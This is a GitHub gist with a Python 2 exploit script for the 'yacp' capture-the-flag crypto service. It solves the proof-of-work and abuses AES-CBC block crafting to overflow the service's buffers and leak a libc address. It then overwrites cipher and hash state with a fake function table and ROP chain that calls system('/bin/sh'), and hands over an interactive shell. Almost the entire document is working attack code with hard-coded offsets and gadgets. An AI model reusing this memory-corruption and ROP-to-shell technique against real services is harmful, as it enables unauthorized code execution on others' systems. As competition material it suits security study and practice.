Created
April 23, 2017 22:27
-
-
Save spq/dca3ce52fb69c9d7ffa59191e4dbcb56 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python2 | |
import struct, socket | |
from Crypto.Cipher import AES | |
xor = lambda a,b: "".join(chr(ord(i)^ord(j)) for i,j in zip(a,b)) | |
cipher="aes-128-cbc" | |
key = "A"*16 | |
iv = key | |
cbc = lambda: AES.new(key, AES.MODE_CBC, iv) | |
ecb = AES.new(key, AES.MODE_ECB) | |
padding = chr(16)*16 #padding for data of multiple of 16byte | |
prefix = "A"*(2048 - 16) | |
def build_last_block(prefix, wanted): | |
last_block_iv = cbc().encrypt(prefix)[-16:] | |
wanted_decrypted = ecb.decrypt(wanted) | |
last_block_crypted = xor(wanted_decrypted, padding) | |
last_block_decrypted = ecb.decrypt(last_block_crypted) | |
last_block_plain = xor(last_block_decrypted, last_block_iv) | |
return last_block_plain | |
s = socket.socket() | |
#s.connect(("127.0.0.1", 1234)) | |
s.connect(("yacp.chal.pwning.xxx", 7961)) | |
def ru(a): | |
d = "" | |
while not d.endswith(a): | |
c = s.recv(4096) | |
assert(c) | |
d += c | |
print `d` | |
return d | |
def sn(n): | |
s.sendall(str(n)+"\n") | |
d = ru(" and is 32 characters long.\nMagic word? ").split(" ")[21] | |
def find_magic(magic_value): | |
import hashlib | |
pf = "\xff"*3 | |
for i in xrange(1<<32): | |
m = hashlib.sha256() | |
s = (magic_value + hex(i)).ljust(32, "A") | |
m.update(s) | |
dig = m.digest() | |
if dig[:3] != pf: | |
continue | |
if ord(dig[3]) >= 0xf0: | |
return s | |
sn(find_magic(d)) | |
mm_suffix = "\nWhat would you like to do?\n0. Load data\n1. Generate random data\n2. Hash data\n3. Encrypt data\n4. Decrypt data\n5. Display data\n" | |
mm = lambda: ru(mm_suffix)[:-len(mm_suffix)] | |
mm() | |
def buf_set(b, v): | |
assert(b in xrange(32)) | |
sn(0) | |
ru("How many bytes is the data?\n") | |
sn(len(v)) | |
ru("Which buffer (0-31) would you like to use?\n") | |
sn(b) | |
ru(" hex-encoded bytes\n") | |
s.sendall(v.encode("hex")) | |
mm() | |
def buf_get(b): | |
sn(5) | |
ru("Which buffer (0-31) would you like to use?\n") | |
sn(b) | |
return mm().split(" ")[4].decode("hex") | |
def buf_enc(cipher_name, k, i, inp, out): | |
sn(3) | |
ru("What type of cipher would you like to perform?\n") | |
sn(cipher_name) | |
ru("For your input, Which buffer (0-31) would you like to use?\n") | |
sn(inp) | |
ru("For your output, Which buffer (0-31) would you like to use?\n") | |
sn(out) | |
ru("For your key, Which buffer (0-31) would you like to use?\n") | |
sn(k) | |
ru("For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n") | |
sn(i) | |
mm() | |
def buf_dec(cipher_name, k, i, inp, out): | |
sn(4) | |
ru("What type of cipher would you like to perform?\n") | |
sn(cipher_name) | |
ru("For your input, Which buffer (0-31) would you like to use?\n") | |
sn(inp) | |
ru("For your output, Which buffer (0-31) would you like to use?\n") | |
sn(out) | |
ru("For your key, Which buffer (0-31) would you like to use?\n") | |
sn(k) | |
ru("For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n") | |
sn(i) | |
def buf_hash(hash_name, inp, out): | |
sn(2) | |
ru("What type of hash would you like to perform?\n") | |
sn(hash_name) | |
ru("For your input, Which buffer (0-31) would you like to use?\n") | |
sn(inp) | |
ru("For your output, Which buffer (0-31) would you like to use?\n") | |
sn(out) | |
mm() | |
""" leak: | |
buf_set(0, key) | |
buf_set(1, prefix + build_last_block(prefix, struct.pack("I"*4, 16, 2048, 0, 0x805C20C - 0x804C0E0 - 2048*3))) | |
buf_enc(cipher, 0, 0, 1, 31) | |
leak = buf_get(3)[2048*(32-3) + 32*4:] | |
print len(leak) | |
print leak.encode("hex") | |
""" | |
#step 1: set context | |
buf_set(0, key) | |
buf_set(1, cbc().encrypt("\x00"*2048)[:2048]) | |
lengths = [0]*32 | |
lengths[0] = len(key) | |
lengths[1] = 2048 + 32*4 + 0x18 + 0x8c + 12 | |
lengths[2] = 0x804C0E0 + 2048*1 #used for ropchain at the end | |
lengths[3] = 0x805C20C - 0x804C0E0 - 2048*3 | |
#step 2: leak information | |
buf_set(2, prefix + build_last_block(prefix, struct.pack("I"*4, *lengths[:4]))) | |
buf_enc(cipher, 0, 0, 2, 31) | |
leak = buf_get(3)[2048*(32-3) + 32*4:] | |
ptr_aes128cbc = struct.unpack("I", leak[0x18+0x8c+4:][:4])[0] | |
#step 3: initialize buffer 2 to contain encrypted data we want to write over the data after the buffers | |
data = "" | |
data += "\x00"*2048 #buffer 31 | |
data += struct.pack("I"*32, *lengths) #buffer length | |
data += "\x00" * 0x18 #hash state | |
#cipher state as seen after execution of cipher update function (we dont want to crash here) | |
data += struct.pack("IIII", ptr_aes128cbc, 0, 0, 0) | |
data += struct.pack("IIII", 0, 0, 0, 0) | |
data += struct.pack("IIII", 0, 0, 0, 0) | |
data += struct.pack("IIII", 0, 0, 0, 0) | |
data += struct.pack("IIII", 0, 0, 0, 0) | |
data += struct.pack("IIII", 0, 0, 0x10, 0) | |
data += struct.pack("IIII", 0, 1, 0xf, 0) | |
data += struct.pack("IIII", 0, 0, 0, 0) | |
data += struct.pack("III", 0, 0, 0) | |
#hash and cipher pointers plus marker for debugging | |
data += struct.pack("III", 0x804C0E0 + 2048*4, ptr_aes128cbc, 0xdeadbeef) #hash function table - buffer#4 | |
assert(len(data) % 16 == 0) | |
data = cbc().encrypt(data) | |
assert(len(data) == lengths[1]) | |
assert(len(data) > 2048) | |
assert(len(data) <= 2048*2) | |
assert(data[:2048] == cbc().encrypt("\x00"*2048)[:2048]) | |
buf_set(2, data[2048:]) | |
#step 4: decrypt buf 1 into buf 31 overwriting everything after the buffers | |
buf_dec(cipher, 0, 0, 1, 31) | |
#step 5: prepare ropchain in buf 1 and fake hashmethod "vtable" in buf 4 | |
libc_base = ptr_aes128cbc - 0x390d60 | |
crypto_base = libc_base + 0x1b6000 | |
crypto_esp_gadget = crypto_base + 0x0004678e # mov esp, dword ptr [esp + 0xc] ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret | |
libc_system = libc_base + 0x3ada0 | |
libc_binsh = libc_base + 0x15b82b | |
libc_nop = libc_base + 0x3add6 | |
buf_set(1, struct.pack("I", libc_nop) * 32 + struct.pack("III", libc_system, libc_binsh, libc_binsh)) | |
buf_set(4, struct.pack("III", 0xffffffff, 0xffffffff,0x40) + 64*struct.pack("I",crypto_esp_gadget)) | |
#step 6: call the faked hash function | |
#buf_hash("", 2, 31) | |
sn(2) | |
ru("What type of hash would you like to perform?\n") | |
sn("") | |
ru("For your input, Which buffer (0-31) would you like to use?\n") | |
sn(2) | |
ru("For your output, Which buffer (0-31) would you like to use?\n") | |
sn(31) | |
import telnetlib | |
t=telnetlib.Telnet() | |
t.sock = s | |
t.interact() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment